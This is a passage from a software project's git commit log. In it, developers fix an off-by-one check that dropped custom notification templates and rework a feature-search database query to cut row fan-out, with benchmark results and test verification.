template was silently dropped in favor of the default message. Trim
before checking emptiness so only actually-empty/whitespace-only
templates fall back to the default, while the original (untrimmed)
template is still used for rendering.

Other places with the same `.length > 1` off-by-one (not fixed by this
PR):

- Webhook `customHeaders` —
[oss/src/lib/addons/webhook.ts#L105](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/webhook.ts#L105)
- Datadog `bodyTemplate` —
[oss/src/lib/addons/datadog.ts#L66](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/datadog.ts#L66)
- Datadog `customHeaders` —
[oss/src/lib/addons/datadog.ts#L83](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/datadog.ts#L83)
- New Relic `bodyTemplate` —
[oss/src/lib/addons/new-relic.ts#L65](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/new-relic.ts#L65)
- New Relic `customHeaders` —
[oss/src/lib/addons/new-relic.ts#L83](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/new-relic.ts#L83)
- Slack `customHeaders` —
[oss/src/lib/addons/slack.ts#L64](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/slack.ts#L64)
- Teams `customHeaders` —
[oss/src/lib/addons/teams.ts#L80](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/teams.ts#L80)
- Teams Workflow `customHeaders` —
[oss/src/lib/addons/teams-workflow.ts#L98](https://github.com/bricks-software/unleash-enterprise/blob/main/oss/src/lib/addons/teams-workflow.ts#L98)

Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-07 15:53:47 +02:00
Mateusz Prusaczyk 1f601d127e chore: fix broken links in REST API guideline (#12618) 2026-09-07 13:45:25 +00:00
Gastón Fournier 8b146279ec perf: reduce feature search segment fan-out
## Why

GET /api/admin/search/features joins feature strategies to features by
feature name before pagination. For a feature with N environments, every
strategy row can therefore be paired with all N feature-environment
rows. Segment links increase that intermediate result further even
though the response ultimately deduplicates segment names.

This became visible during the September feature-search incident, where
one instance with 1,064 flags and 17 environments saturated its database
under sustained automated search traffic.

Incident context:
https://unleash-internal.slack.com/archives/C047QAPU5U5/p1788396840135459

## What changed

- Aggregate distinct segment names once per feature before joining them
into ranked_features.
- Return that pre-aggregated segment array directly instead of
rebuilding it from repeated result rows.
- Make positive segment filters use a feature-level subquery, consistent
with the existing negative and all-of segment filters.
- Add regression coverage for segments across environments and for
combined status and segment filters that match in different
environments.

A simpler feature-strategy join on feature plus environment was tested
first, but it changed existing behavior: a development status filter
could no longer be combined with a segment used in production. The
pre-aggregation approach removes the fan-out while preserving that
behavior. It also avoids relying on a composite feature-strategy to
feature-environment constraint that the database does not currently
enforce.

## Benchmark

The benchmark harness was used locally and is intentionally not
committed in this PR. It was tied to the feature-search schema and
fixture; a reusable endpoint load-test tool should be designed
separately as an HTTP-level runner with externally prepared data.

The temporary harness called the real FeatureSearchStore against a
freshly migrated PostgreSQL database with:

- 1,064 features
- 17 environments per feature
- one strategy and segment link per feature and environment
- 91 reusable segments
- 48 hourly metric rows per feature and environment
- page size 25

Candidate values are the median of three runs on the same local machine.
The baseline is the saved pre-change run.

| Measurement | Baseline | Candidate | Improvement |
| --- | ---: | ---: | ---: |
| Single request mean | 1,869 ms | 115 ms | 16.2x |
| Single-request throughput | 0.535 RPS | 8.685 RPS | 16.2x |
| Four-request batch mean | 2,195 ms | 156 ms | 14.0x |
| Effective concurrent throughput | 1.82 RPS | 25.6 RPS | 14.0x |

This is deliberately a dense-strategy fixture, so the result
demonstrates the eliminated cardinality amplification clearly but should
not be interpreted as a fleet-wide production prediction.

## Verification

- Feature-search suite: 43 tests passed
- TypeScript no-emit check passed
- Biome passed
- git diff check passed
2026-09-07 15:32:48 +02:00